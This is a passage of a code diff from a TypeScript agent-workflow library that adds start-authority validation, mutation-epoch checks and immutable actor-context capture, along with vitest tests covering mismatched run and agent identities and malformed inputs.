+ await Promise.all([f.startHost(), drive(f.agent, 'run-1', INPUT)]); + }); + + it.each([ + 'run', + 'core-agent', + 'wrapped-agent', + 'first-read', + ] as const)('C refuses mismatched Core correlation and preserves first faults (%s)', async (kind) => { + const f = bridgeFixture(); + const fault = new Error('first Core read'); + const input = { + ...INPUT, + ...(kind === 'run' ? { runId: 'other' } : {}), + ...(kind === 'core-agent' ? { agentId: 'other' } : {}), + }; + if (kind === 'first-read') + Object.defineProperty(input, 'agentId', { + get() { + throw fault; + }, + }); + const authority = startAuthority(); + const changed = + kind === 'wrapped-agent' + ? { + ...authority, + startIdentity: { + ...authority.startIdentity, + target: { ...authority.startIdentity.target, id: 'other' }, + }, + } + : authority; + if (kind === 'wrapped-agent') input.agentId = 'other'; + const results = await Promise.allSettled([ + f.startHost(changed), + drive(f.agent, 'run-1', input), + ]); + expect(f.start).not.toHaveBeenCalled(); + for (const result of results) { + expect(result.status).toBe('rejected'); + if (result.status === 'rejected') { + if (kind === 'first-read') expect(result.reason).toBe(fault); + else expect(result.reason).toBeInstanceOf(InvalidRunRequestError); + } + } + }); + + it('C isolates interleaved different-run authorities and uses the actual workflow id', async () => { + const f = bridgeFixture(); + const workflow = f.agent.getWorkflow(); + const originalId = Object.getOwnPropertyDescriptor(workflow, 'id'); + Object.defineProperty(workflow, 'id', { + value: 'actual-workflow', + configurable: true, + }); + try { + const first = f.startHost( + { ...startAuthority(), mutationEpoch: 1 }, + 'run-1', + ); + const second = f.startHost( + { ...startAuthority(), mutationEpoch: 3 }, + 'run-2', + ); + await drive(f.agent, 'run-2', { ...INPUT, runId: 'run-2' }); + await second; + await drive(f.agent, 'run-1', INPUT); + await first; + expect( + f.start.mock.calls.map(([id, options]) => [id, options]), + ).toMatchObject([ + ['actual-workflow', { runId: 'run-2', mutationEpoch: 3 }], + ['actual-workflow', { runId: 'run-1', mutationEpoch: 1 }], + ]); + } finally { + if (originalId) Object.defineProperty(workflow, 'id', originalId); + else Reflect.deleteProperty(workflow, 'id'); + } + }); +}); describe('createFlowsafeDurableAgent', () => { afterEach(() => { @@ -651,6 +1809,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { { runId: 'run-1', untilIdle: true }, 'operator-1', 'human', + undefined, + undefined, + undefined, + startAuthority(), ), ).rejects.toBeInstanceOf(InvalidRunRequestError); @@ -673,6 +1835,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { options as never, 'operator-1', 'human', + undefined, + undefined, + undefined, + startAuthority(), ); options.runId = 'mutated-run'; options.structuredOutput = { schema: z.object({ answer: z.string() }) }; @@ -703,6 +1869,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { options as never, 'operator-1', 'human', + undefined, + undefined, + undefined, + startAuthority(), ), ).rejects.toThrow(/structuredOutput.*data property/); expect(structuredOutput).not.toHaveBeenCalled(); @@ -729,7 +1899,16 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { let settled = false; const pending = agent - .streamUntilPersisted('hello', { runId: 'run-1' }, 'operator-1', 'human') + .streamUntilPersisted( + 'hello', + { runId: 'run-1' }, + 'operator-1', + 'human', + undefined, + undefined, + undefined, + startAuthority(), + ) .finally(() => { settled = true; }); @@ -763,7 +1942,16 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { const superGenerate = vi.spyOn(DurableAgent.prototype, 'generate'); let settled = false; const pending = agent - .streamUntilPersisted('first', { runId: 'run-1' }, 'operator-1', 'human') + .streamUntilPersisted( + 'first', + { runId: 'run-1' }, + 'operator-1', + 'human', + undefined, + undefined, + undefined, + startAuthority(), + ) .finally(() => { settled = true; }); @@ -799,6 +1987,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { }, 'operator-1', 'human', + undefined, + undefined, + undefined, + startAuthority(), ); const execution = drive(agent, 'run-1', INPUT); @@ -820,6 +2012,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => { { runId: 'run-1' }, requestedBy, requestedByKind as never, + undefined, + undefined, + undefined, + startAuthority(), ), ).rejects.toBeInstanceOf(InvalidRunRequestError); @@ -1503,6 +2699,10 @@ describe('FlowsafeDurableAgent.executeWorkflow failed run', () => { { runId: 'run-1' }, 'operator-1', 'human', + undefined, + undefined, + undefined, + startAuthority(), ); // #when the host-registered loop drives it await Promise.all([drive(agent, 'run-1', INPUT), pending]); diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts index 937d20b7..f78ea943 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts @@ -252,13 +252,36 @@ import { isExecutionPrincipalId, isExecutionPrincipalKind, } from '../approval-api/principal.js'; +import { + normalizeMutationEpoch, + normalizeStartIdentity, + type RunExecutionIdentity, + type StartIdentity, +} from '../do-runner/execution-admission.js'; import { InvalidRunRequestError, isPathSafeId, type RunnerRuntime, type RunSummary, + type StartRunOptions, } from '../do-runner/index.js'; +export interface AgentStartAuthority { + readonly mutationEpoch?: number; + readonly startIdentity: StartIdentity & { + readonly target: { + readonly kind: 'agent'; + readonly id: string; + readonly threadId: string; + }; + }; + readonly agentStart: { readonly threaded: boolean }; + readonly onPreparedStartIdentity: + | ((execution: RunExecutionIdentity) => void | Promise) + | undefined; + readonly runOwnerGuard?: StartRunOptions['runOwnerGuard']; +} + /** * The shared workflow id every durable-agent loop compiles to (core's * DurableAgentDefaults.AGENTIC_LOOP). Exposed so hosts and tests can reference @@ -286,6 +309,102 @@ interface BreakwaterGuardedAgentHostProtocol { readonly supportsDurableStructuredOutput: false; } +function captureAgentStartAuthority( + source: AgentStartAuthority, + requestedBy: string, + requestedByKind: ExecutionPrincipalKind, +): AgentStartAuthority { + if (source === null || typeof source !== 'object' || Array.isArray(source)) { + throw new InvalidRunRequestError('agent start authority is required'); + } + const { + mutationEpoch: rawEpoch, + startIdentity: rawIdentity, + agentStart: rawAgentStart, + onPreparedStartIdentity, + runOwnerGuard: rawGuard, + } = source; + if ( + rawIdentity === undefined || + rawAgentStart === undefined || + !Object.hasOwn(source, 'onPreparedStartIdentity') + ) { + throw new InvalidRunRequestError('agent start authority is incomplete'); + } + const mutationEpoch = normalizeMutationEpoch(rawEpoch); + const identity = normalizeStartIdentity(rawIdentity); + if (identity.target.kind !== 'agent') { + throw new InvalidRunRequestError( + 'agent start authority requires an agent target', + ); + } + if ( + identity.owner.id !== requestedBy || + identity.owner.kind !== requestedByKind + ) { + throw new InvalidRunRequestError( + 'startIdentity owner does not match requester', + ); + } + if ( + rawAgentStart === null || + typeof rawAgentStart !== 'object' || + Array.isArray(rawAgentStart) + ) { + throw new InvalidRunRequestError('agentStart is malformed'); + } + const { threaded } = rawAgentStart; + if (typeof threaded !== 'boolean') { + throw new InvalidRunRequestError('agentStart is malformed'); + } + if ( + onPreparedStartIdentity !== undefined && + typeof onPreparedStartIdentity !== 'function' + ) { + throw new InvalidRunRequestError('onPreparedStartIdentity is malformed'); + } + let runOwnerGuard: AgentStartAuthority['runOwnerGuard']; + if (rawGuard !== undefined) { + if ( + rawGuard === null || + typeof rawGuard !== 'object' || + Array.isArray(rawGuard) + ) { + throw new InvalidRunRequestError('runOwnerGuard is malformed'); + } + const { owner: rawOwner, reservationToken } = rawGuard; + if ( + rawOwner === null || + typeof rawOwner !== 'object' || + Array.isArray(rawOwner) + ) { + throw new InvalidRunRequestError('runOwnerGuard is malformed'); + } + const { kind, id } = rawOwner; + if ( + !isExecutionPrincipalKind(kind) || + !isExecutionPrincipalId(id) || + !isPathSafeId(reservationToken) + ) { + throw new InvalidRunRequestError('runOwnerGuard is malformed'); + } + runOwnerGuard = Object.freeze({ + owner: Object.freeze({ kind, id }), + reservationToken, + }); + } + return Object.freeze({ + mutationEpoch, + startIdentity: Object.freeze({ + owner: identity.owner, + target: identity.target, + }), + agentStart: Object.freeze({ threaded }), + onPreparedStartIdentity, + runOwnerGuard, + }); +} + function snapshotDurableCallOptions(options: T): T; function snapshotDurableCallOptions(options: undefined): undefined; function snapshotDurableCallOptions( @@ -582,6 +701,7 @@ export class FlowsafeDurableAgent< * `finally`, so nothing outlives the start it belongs to. */ readonly #startIdempotencyKeys = new Map(); + readonly #startAuthorities = new Map(); readonly #startScheduleDispatches = new Map< string, { scheduleId: string; dispatchId: string } @@ -730,7 +850,7 @@ export class FlowsafeDurableAgent< requestedBy: string, requestedByKind: ExecutionPrincipalKind, attemptToken = crypto.randomUUID(), - scheduleDispatch?: { scheduleId: string; dispatchId: string }, + scheduleDispatch: { scheduleId: string; dispatchId: string } | undefined, /** * The idempotency key the thread topology already RESERVED for this run. * @@ -745,7 +865,8 @@ export class FlowsafeDurableAgent< * core, because core owns the call between `stream()` and * `executeWorkflow()` and carries no field this could ride in. */ - idempotencyKey?: string, + idempotencyKey: string | undefined, + authority: AgentStartAuthority, ): Promise< Awaited['stream']>> > { @@ -763,6 +884,26 @@ export class FlowsafeDurableAgent< if (!isExecutionPrincipalKind(requestedByKind)) { throw new InvalidRunRequestError('requestedByKind is malformed'); } + const capturedAuthority = captureAgentStartAuthority( + authority, + requestedBy, + requestedByKind, + ); + let capturedScheduleDispatch: typeof scheduleDispatch; + if (scheduleDispatch !== undefined) { + if ( + scheduleDispatch === null || + typeof scheduleDispatch !== 'object' || + Array.isArray(scheduleDispatch) + ) { + throw new Error('stored run lifecycle is malformed'); + } + const { scheduleId, dispatchId } = scheduleDispatch; + if (!isPathSafeId(scheduleId) || !isPathSafeId(dispatchId)) { + throw new Error('stored run lifecycle is malformed'); + } + capturedScheduleDispatch = Object.freeze({ scheduleId, dispatchId }); + } const runId = callOptions.runId; this.#assertRunIdNotLive(runId); let resolve!: () => void; @@ -776,8 +917,9 @@ export class FlowsafeDurableAgent< this.#startRequesters.set(runId, requestedBy); this.#startRequesterKinds.set(runId, requestedByKind); this.#startAttemptTokens.set(runId, attemptToken); - if (scheduleDispatch) { - this.#startScheduleDispatches.set(runId, scheduleDispatch); + this.#startAuthorities.set(runId, capturedAuthority); + if (capturedScheduleDispatch) { + this.#startScheduleDispatches.set(runId, capturedScheduleDispatch); } if (idempotencyKey !== undefined) { this.#startIdempotencyKeys.set(runId, idempotencyKey); @@ -806,6 +948,7 @@ export class FlowsafeDurableAgent< this.#startAttemptTokens.delete(runId); this.#startScheduleDispatches.delete(runId); this.#startIdempotencyKeys.delete(runId); + this.#startAuthorities.delete(runId); } } @@ -1505,13 +1648,7 @@ export class FlowsafeDurableAgent< const attemptToken = this.#startAttemptTokens.get(runId); const scheduleDispatch = this.#startScheduleDispatches.get(runId); const idempotencyKey = this.#startIdempotencyKeys.get(runId); - const startOptions = { - runId, - inputData: workflowInput, - ...(attemptToken === undefined ? {} : { attemptToken }), - ...(scheduleDispatch === undefined ? {} : { scheduleDispatch }), - ...(idempotencyKey === undefined ? {} : { idempotencyKey }), - }; + const authority = this.#startAuthorities.get(runId); if (requestedBy === undefined || requestedByKind === undefined) { if (requestedBy !== undefined || requestedByKind !== undefined) { throw new InvalidRunRequestError( @@ -1539,10 +1676,39 @@ export class FlowsafeDurableAgent< if (!published) throw refusal; return; } - summary = await this.#runtime.start(this.getWorkflow().id, { - ...startOptions, + const { + runId: coreRunId, + agentId: coreAgentId, + ...payload + } = workflowInput; + if (!authority) { + throw new InvalidRunRequestError( + 'registered run is missing agent start authority', + ); + } + if ( + coreRunId !== runId || + authority.startIdentity.target.id !== this.#wrappedAgent.id || + coreAgentId !== authority.startIdentity.target.id + ) { + throw new InvalidRunRequestError( + 'Core input does not match agent start authority', + ); + } + const workflow = this.getWorkflow(); + summary = await this.#runtime.start(workflow.id, { + runId, + inputData: { ...payload, runId: coreRunId, agentId: coreAgentId }, + ...(attemptToken === undefined ? {} : { attemptToken }), + ...(scheduleDispatch === undefined ? {} : { scheduleDispatch }), + ...(idempotencyKey === undefined ? {} : { idempotencyKey }), requestedBy, requestedByKind, + mutationEpoch: authority.mutationEpoch, + startIdentity: authority.startIdentity, + agentStart: authority.agentStart, + onPreparedStartIdentity: authority.onPreparedStartIdentity, + runOwnerGuard: authority.runOwnerGuard, }); waiter?.resolve(); } catch (error) { diff --git a/packages/flowsafe/src/agent-runner/index.ts b/packages/flowsafe/src/agent-runner/index.ts index d2d526d6..dff4ca85 100644 --- a/packages/flowsafe/src/agent-runner/index.ts +++ b/packages/flowsafe/src/agent-runner/index.ts @@ -34,6 +34,7 @@ export { parseAgentApprovalSuspend, } from './approval-shapes.js'; export { + type AgentStartAuthority, createFlowsafeDurableAgent, DURABLE_AGENTIC_LOOP_WORKFLOW_ID, FlowsafeDurableAgent, diff --git a/packages/flowsafe/src/approval-api/actor-context.test.ts b/packages/flowsafe/src/approval-api/actor-context.test.ts index f0a26309..7c0493cb 100644 --- a/packages/flowsafe/src/approval-api/actor-context.test.ts +++ b/packages/flowsafe/src/approval-api/actor-context.test.ts @@ -1,14 +1,24 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; import { DEPLOYMENT_IDENTITY_HEADER } from '../do-runner/deployment-identity.js'; +import { + InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, +} from '../do-runner/execution-admission.js'; import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/execution-principal-header.js'; import { type ActorContext, ActorResolutionError, type CreateActorResolverOptions, + captureActorContext, createActorResolver, + createPrincipalActorContext, + withRegisteredResourceOwner, } from './actor-context.js'; import type { ApprovalActor } from './contract.js'; +import { type ExecutionPrincipal, humanPrincipal } from './principal.js'; +import type { ResourceOwner } from './resource-ownership.js'; +import { ApprovalService } from './service.js'; import { InMemoryApprovalStoreFactory } from './store-factory.js'; async function resolveContext( @@ -29,6 +39,525 @@ async function resolveContext( return context; } +const contextMethods = [ + 'service', + 'newRunId', + 'newThreadId', + 'resourceIdFromKey', + 'claimResource', + 'releaseResource', + 'resourceOwnerFor', + 'canAccessResource', + 'canSelfDecide', +] as const; + +class ReceiverContext implements ActorContext { + actor: ApprovalActor = { id: 'original-actor', role: 'operator' }; + principal: ExecutionPrincipal = { + kind: 'human', + id: 'principal-1', + role: 'admin', + }; + mutationEpoch = 2; + deploymentTag = 'original-tag'; + resourceOwner: ResourceOwner = { kind: 'service', id: 'original-owner' }; + readonly calls: string[] = []; + #service = new ApprovalService({ + store: new InMemoryApprovalStoreFactory().store(), + executionFence: 'none', + }); + service() { + this.calls.push('service'); + return this.#service; + } + newRunId() { + this.calls.push('newRunId'); + return this.#service ? 'original-run' : ''; + } + newThreadId() { + this.calls.push('newThreadId'); + return this.#service ? 'original-thread' : ''; + } + resourceIdFromKey(key: string) { + this.calls.push('resourceIdFromKey'); + return this.#service ? key : ''; + } + async claimResource() { + this.calls.push('claimResource'); + void this.#service; + } + async releaseResource() { + this.calls.push('releaseResource'); + void this.#service; + } + async resourceOwnerFor() { + this.calls.push('resourceOwnerFor'); + return this.#service + ? { kind: 'human' as const, id: 'registered' } + : undefined; + } + async canAccessResource() { + this.calls.push('canAccessResource'); + return !!this.#service; + } + canSelfDecide() { + this.calls.push('canSelfDecide'); + return !!this.#service; + } +} + +async function captureWithoutFault(source: ActorContext) { + const result = (async () => captureActorContext(source))(); + await expect(result).resolves.toBeDefined(); + return result; +} + +async function observeMethods(context: ActorContext) { + const results: unknown[] = []; + for (const method of contextMethods) { + try { + switch (method) { + case 'service': + results.push(context.service() instanceof ApprovalService); + break; + case 'newRunId': + results.push(context.newRunId()); + break; + case 'newThreadId': + results.push(context.newThreadId()); + break; + case 'resourceIdFromKey': + results.push(context.resourceIdFromKey('key')); + break; + case 'claimResource': + results.push(await context.claimResource('run', 'r')); + break; + case 'releaseResource': + results.push(await context.releaseResource('run', 'r')); + break; + case 'resourceOwnerFor': + results.push(await context.resourceOwnerFor('run', 'r')); + break; + case 'canAccessResource': + results.push(await context.canAccessResource('run', 'r', 'write')); + break; + case 'canSelfDecide': + results.push(context.canSelfDecide('admin')); + break; + } + } catch (error) { + results.push(error); + } + } + return results; +} + +const methodResults = [ + true, + 'original-run', + 'original-thread', + 'key', + undefined, + undefined, + { kind: 'human', id: 'registered' }, + true, + true, +]; + +function deferredContext() { + let release!: () => void; + const promise = new Promise((resolve) => { + release = resolve; + }); + return { promise, release }; +} + +describe('C context capture', () => { + it.each([ + undefined, + 0, + Number.MAX_SAFE_INTEGER, + ])('C constructors capture one epoch observation (%s)', async (epoch) => { + const storeFactory = new InMemoryApprovalStoreFactory(); + const buildService = vi.fn( + () => + new ApprovalService({ + store: storeFactory.store(), + executionFence: 'none', + }), + ); + const authenticate = vi.fn(() => ({ + id: 'actor-1', + role: 'admin' as const, + })); + const readEpoch = vi.fn(() => epoch); + const options = { + get mutationEpoch() { + return readEpoch(); + }, + authenticate, + storeFactory, + buildService, + }; + const resolve = createActorResolver(options); + expect(readEpoch).toHaveBeenCalledTimes(1); + const context = await resolve(new Request('https://host/')); + expect(context?.mutationEpoch).toBe(epoch); + expect(readEpoch).toHaveBeenCalledTimes(1); + const directReads = vi.fn(() => epoch); + const direct = createPrincipalActorContext({ + storeFactory, + buildService, + get mutationEpoch() { + return directReads(); + }, + principal: humanPrincipal({ id: 'actor-1', role: 'admin' }), + }); + expect(direct.mutationEpoch).toBe(epoch); + expect(directReads).toHaveBeenCalledTimes(1); + expect(readEpoch).toHaveBeenCalledTimes(1); + expect(buildService).not.toHaveBeenCalled(); + expect(direct.service()).toBe(direct.service()); + expect(buildService).toHaveBeenCalledOnce(); + expect(directReads).toHaveBeenCalledTimes(1); + }); + + it.each([ + null, + '2', + true, + 1.5, + -1, + Number.NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('C malformed constructor epoch refuses before effects (%s)', (epoch) => { + const storeFactory = new InMemoryApprovalStoreFactory(); + const resources = vi.spyOn(storeFactory, 'resources'); + const store = vi.spyOn(storeFactory, 'store'); + const authenticate = vi.fn(); + const buildService = vi.fn(); + const readEpoch = vi.fn(() => epoch); + const options = { + get mutationEpoch() { + return readEpoch(); + }, + storeFactory, + authenticate, + buildService, + }; + expect(() => createActorResolver(options)).toThrow( + InvalidMutationEpochError, + ); + const directReads = vi.fn(() => epoch); + expect(() => + createPrincipalActorContext({ + storeFactory, + buildService, + get mutationEpoch() { + return directReads(); + }, + principal: humanPrincipal({ id: 'a', role: 'admin' }), + }), + ).toThrow(InvalidMutationEpochError); + expect(readEpoch).toHaveBeenCalledTimes(1); + expect(directReads).toHaveBeenCalledTimes(1); + expect(resources).not.toHaveBeenCalled(); + expect(store).not.toHaveBeenCalled(); + expect(authenticate).not.toHaveBeenCalled(); + expect(buildService).not.toHaveBeenCalled(); + }); + + it.each( + [undefined, 0, Number.MAX_SAFE_INTEGER].flatMap((epoch) => + (['alternate', 'second-throw'] as const).map((mode) => ({ epoch, mode })), + ), + )('C direct principal context captures its epoch exactly once ($epoch, $mode)', ({ + epoch, + mode, + }) => { + const factory = new InMemoryApprovalStoreFactory(); + const build = vi.fn( + () => + new ApprovalService({ store: factory.store(), executionFence: 'none' }), + ); + const read = vi + .fn<() => unknown>() + .mockReturnValueOnce(epoch) + .mockImplementation(() => { + if (mode === 'second-throw') + throw new Error('second direct epoch read'); + return 'replacement'; + }); + const options = { + principal: humanPrincipal({ id: 'direct', role: 'operator' }), + storeFactory: factory, + buildService: build, + get mutationEpoch() { + return read(); + }, + }; + const context = createPrincipalActorContext(options); + expect(read).toHaveBeenCalledTimes(1); + expect(context.mutationEpoch).toBe(epoch); + expect(build).not.toHaveBeenCalled(); + Object.defineProperty(options, 'mutationEpoch', { + get() { + throw new Error('late direct epoch read'); + }, + }); + expect(context.service()).toBe(context.service()); + expect(build).toHaveBeenCalledOnce(); + expect(context.mutationEpoch).toBe(epoch); + expect(read).toHaveBeenCalledTimes(1); + }); + + it('C direct principal context preserves a first epoch getter fault without effects', () => { + const factory = new InMemoryApprovalStoreFactory(); + const resources = vi.spyOn(factory, 'resources'); + const store = vi.spyOn(factory, 'store'); + const buildService = vi.fn(); + const fault = new Error('first direct epoch read'); + let error: unknown; + try { + createPrincipalActorContext({ + principal: humanPrincipal({ id: 'direct', role: 'operator' }), + storeFactory: factory, + buildService, + get mutationEpoch() { + throw fault; + }, + }); + } catch (cause) { + error = cause; + } + expect(error).toBe(fault); + expect(resources).not.toHaveBeenCalled(); + expect(store).not.toHaveBeenCalled(); + expect(buildService).not.toHaveBeenCalled(); + }); + + it('C resolver keeps its construction epoch through authentication', async () => { + const hold = deferredContext(); + const entered = deferredContext(); + const options = { + mutationEpoch: 2, + storeFactory: new InMemoryApprovalStoreFactory(), + buildService: vi.fn(), + authenticate: async () => { + entered.release(); + await hold.promise; + return { id: 'a', role: 'admin' as const }; + }, + }; + const resolve = createActorResolver(options); + const pending = resolve(new Request('https://host/')); + await entered.promise; + options.mutationEpoch = 3; + try { + hold.release(); + expect((await pending)?.mutationEpoch).toBe(2); + } finally { + hold.release(); + await pending; + } + }); + + it.each([ + '2', + 'forged', + ])('C rejects the protected epoch header before authentication (%s)', async (value) => { + const authenticate = vi.fn(() => ({ id: 'a', role: 'admin' as const })); + const resolve = createActorResolver({ + authenticate, + storeFactory: new InMemoryApprovalStoreFactory(), + buildService: vi.fn(), + }); + await expect( + resolve( + new Request('https://host/', { + headers: { [MUTATION_EPOCH_HEADER.toUpperCase()]: value }, + }), + ), + ).rejects.toBeInstanceOf(ActorResolutionError); + expect(authenticate).not.toHaveBeenCalled(); + expect( + await resolve( + new Request('https://host/', { headers: { 'x-ordinary': 'yes' } }), + ), + ).toBeDefined(); + }); + + it.each([ + 'prototype', + 'non-enumerable', + 'own-enumerable', + ] as const)('C captures all declared ActorContext methods without enumeration', async (shape) => { + const source = new ReceiverContext(); + const reads = new Map(); + if (shape !== 'prototype') { + for (const key of [ + ...contextMethods, + 'actor', + 'principal', + 'mutationEpoch', + 'deploymentTag', + 'resourceOwner', + ] as const) { + const value = source[key]; + Object.defineProperty(source, key, { + configurable: true, + enumerable: shape === 'own-enumerable', + get() { + const count = (reads.get(key) ?? 0) + 1; + reads.set(key, count); + if (count > 1) throw new Error(`second lookup ${key}`); + return value; + }, + }); + } + } + const captured = await captureWithoutFault(source); + expect(source.calls).toEqual([]); + expect(await observeMethods(captured)).toEqual(methodResults); + expect(source.calls).toEqual(contextMethods); + for (const count of reads.values()) expect(count).toBe(1); + expect(Object.isFrozen(source)).toBe(false); + expect(Object.isFrozen(captured)).toBe(true); + }); + + it.each([ + 'prototype', + 'own-enumerable', + ] as const)('C preserves the original receiver of captured ActorContext methods', async (shape) => { + const source = new ReceiverContext(); + if (shape === 'own-enumerable') { + for (const method of contextMethods) + Object.defineProperty(source, method, { + value: source[method], + enumerable: true, + configurable: true, + }); + } + const captured = await captureWithoutFault(source); + expect(await observeMethods(captured)).toEqual(methodResults); + expect(source.calls).toEqual(contextMethods); + expect(Object.isFrozen(source.service)).toBe(false); + expect(Object.isFrozen(source.actor)).toBe(false); + expect(Object.isFrozen(source.resourceOwner)).toBe(false); + }); + + it('C never refreshes captured context methods after owner lookup', async () => { + const source = new ReceiverContext(); + const hold = deferredContext(); + const entered = deferredContext(); + const registered: ResourceOwner = { kind: 'human', id: 'registered' }; + const resources = new InMemoryApprovalStoreFactory().resources(); + const owner = vi.spyOn(resources, 'owner').mockImplementation(async () => { + entered.release(); + await hold.promise; + return registered; + }); + const claim = vi.spyOn(resources, 'claim').mockResolvedValue(true); + const release = vi.spyOn(resources, 'release').mockResolvedValue(true); + const pending = withRegisteredResourceOwner(source, resources, [ + { kind: 'run', resourceId: 'r' }, + ]); + await entered.promise; + const replacement = vi.fn(() => { + throw new Error('replacement'); + }); + for (const method of contextMethods) + Object.defineProperty(source, method, { value: replacement }); + source.actor = { id: 'changed', role: 'admin' }; + source.principal = humanPrincipal(source.actor); + source.mutationEpoch = 9; + source.deploymentTag = 'changed'; + source.resourceOwner = { kind: 'human', id: 'changed' }; + try { + hold.release(); + const captured = await pending; + expect(captured.actor).toEqual({ + id: 'original-actor', + role: 'operator', + }); + expect(captured.principal.id).toBe('principal-1'); + expect(captured.mutationEpoch).toBe(2); + expect(captured.deploymentTag).toBe('original-tag'); + expect(captured.resourceOwner).toEqual(registered); + expect(captured.resourceOwner).not.toBe(registered); + expect(await observeMethods(captured)).toEqual(methodResults); + expect(source.calls).toEqual([ + 'service', + 'newRunId', + 'newThreadId', + 'resourceIdFromKey', + 'canSelfDecide', + ]); + expect(claim).toHaveBeenCalledWith('run', 'r', registered); + expect(release).toHaveBeenCalledWith('run', 'r', registered); + expect(owner).toHaveBeenCalledTimes(3); + expect(replacement).not.toHaveBeenCalled(); + } finally { + hold.release(); + await pending; + } + }); + + it('C preserves the original actor without imposing principal equality', () => { + const source = new ReceiverContext(); + const id = vi.fn(() => 'custom-actor'); + const role = vi.fn(() => 'builder'); + source.actor = Object.defineProperties( + {}, + { id: { get: id }, role: { get: role } }, + ) as ApprovalActor; + const captured = captureActorContext(source); + expect(captured.actor).toEqual({ id: 'custom-actor', role: 'builder' }); + expect(captured.principal).toEqual({ + kind: 'human', + id: 'principal-1', + role: 'admin', + }); + expect(id).toHaveBeenCalledTimes(1); + expect(role).toHaveBeenCalledTimes(1); + }); + + it.each([ + null, + undefined, + 'actor', + { id: '', role: 'admin' }, + { id: 'secret', role: 'root' }, + ])('C refuses malformed first actor data with the fixed error (%s)', (actor) => { + const source = new ReceiverContext(); + Object.defineProperty(source, 'actor', { value: actor }); + const principal = vi.fn(); + Object.defineProperty(source, 'principal', { get: principal }); + expect(() => captureActorContext(source)).toThrow( + new ActorResolutionError('actor context actor is malformed'), + ); + expect(principal).not.toHaveBeenCalled(); + expect(source.calls).toEqual([]); + }); + + it('C preserves first getter faults and principal own-data rules', () => { + const sentinel = new Error('first fault'); + const source = new ReceiverContext(); + Object.defineProperty(source.actor, 'id', { + get() { + throw sentinel; + }, + }); + expect(() => captureActorContext(source)).toThrow(sentinel); + const other = new ReceiverContext(); + const id = vi.fn(() => 'principal-1'); + Object.defineProperty(other.principal, 'id', { get: id }); + expect(() => captureActorContext(other)).toThrow(); + expect(id).not.toHaveBeenCalled(); + }); +}); + describe('ActorContext', () => { it('mints path-safe opaque ids and preserves the verified deployment tag', async () => { const context = await resolveContext(); diff --git a/packages/flowsafe/src/approval-api/actor-context.ts b/packages/flowsafe/src/approval-api/actor-context.ts index beea2923..440f4e4d 100644 --- a/packages/flowsafe/src/approval-api/actor-context.ts +++ b/packages/flowsafe/src/approval-api/actor-context.ts @@ -3,6 +3,10 @@ // validates the human before exposing services or server-owned identifiers. import { DEPLOYMENT_IDENTITY_HEADER } from '../do-runner/deployment-identity.js'; +import { + MUTATION_EPOCH_HEADER, + normalizeMutationEpoch, +} from '../do-runner/execution-admission.js'; import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/execution-principal-header.js'; import { mintThreadId, resourceIdFromKey } from '../do-runner/memory-id.js'; import { isPathSafeId } from '../do-runner/path-safe-id.js'; @@ -19,6 +23,7 @@ import { principalActor, } from './principal.js'; import { + canonicalResourceOwner, principalMayAccess, principalOwner, type ResourceAccess, @@ -38,6 +43,7 @@ import type { ApprovalStore } from './store.js'; import type { ApprovalStoreFactory } from './store-factory.js'; export interface ActorContext { + readonly mutationEpoch?: number; /** Already authenticated and validated. */ readonly actor: ApprovalActor; /** Infrastructure-verified deployment tag for audit attribution. */ @@ -93,6 +99,7 @@ export interface CreateActorResolverOptions { storeFactory: ApprovalStoreFactory; /** Infrastructure-configured deployment tag, never derived from claims. */ deploymentTag?: string; + mutationEpoch?: unknown; /** Host-specific service assembly, called lazily at most once per request. */ buildService: (store: ApprovalStore, actor: ApprovalActor) => ApprovalService; /** Run-id generator. Default: crypto.randomUUID. */ @@ -106,6 +113,7 @@ export interface CreatePrincipalActorContextOptions { principal: ExecutionPrincipal; storeFactory: ApprovalStoreFactory; deploymentTag?: string; + mutationEpoch?: unknown; buildService: (store: ApprovalStore, actor: ApprovalActor) => ApprovalService; newRunId?: () => string; canSelfDecide?: (role: ApprovalRole) => boolean; @@ -119,6 +127,7 @@ export function createPrincipalActorContext( options.principal, 'actor context principal', ); + const mutationEpoch = normalizeMutationEpoch(options.mutationEpoch); const actor = principalActor(principal); const owner = principalOwner(principal); const resources = options.storeFactory.resources(); @@ -126,6 +135,7 @@ export function createPrincipalActorContext( let service: ApprovalService | undefined; return { actor, + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), ...(options.deploymentTag !== undefined ? { deploymentTag: options.deploymentTag } : {}), @@ -170,15 +180,76 @@ export function createPrincipalActorContext( }; } +export function captureActorContext(source: ActorContext): ActorContext { + const rawActor = source.actor; + if (rawActor === null || typeof rawActor !== 'object') { + throw new ActorResolutionError('actor context actor is malformed'); + } + const { id, role } = rawActor; + const actor = canonicalApprovalActor({ id, role }); + if (!actor) { + throw new ActorResolutionError('actor context actor is malformed'); + } + const principal = assertExecutionPrincipal( + source.principal, + 'actor context principal', + ); + const mutationEpoch = normalizeMutationEpoch(source.mutationEpoch); + const deploymentTag = source.deploymentTag; + const rawOwner = source.resourceOwner; + const resourceOwner = canonicalResourceOwner( + rawOwner === null || typeof rawOwner !== 'object' + ? rawOwner + : { kind: rawOwner.kind, id: rawOwner.id }, + ); + const { + service, + newRunId, + newThreadId, + resourceIdFromKey, + claimResource, + releaseResource, + resourceOwnerFor, + canAccessResource, + canSelfDecide, + } = source; + const captured: ActorContext = { + actor, + principal, + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + ...(deploymentTag === undefined ? {} : { deploymentTag }), + resourceOwner, + service: () => service.call(source), + newRunId: () => newRunId.call(source), + newThreadId: () => newThreadId.call(source), + resourceIdFromKey: (key) => resourceIdFromKey.call(source, key), + 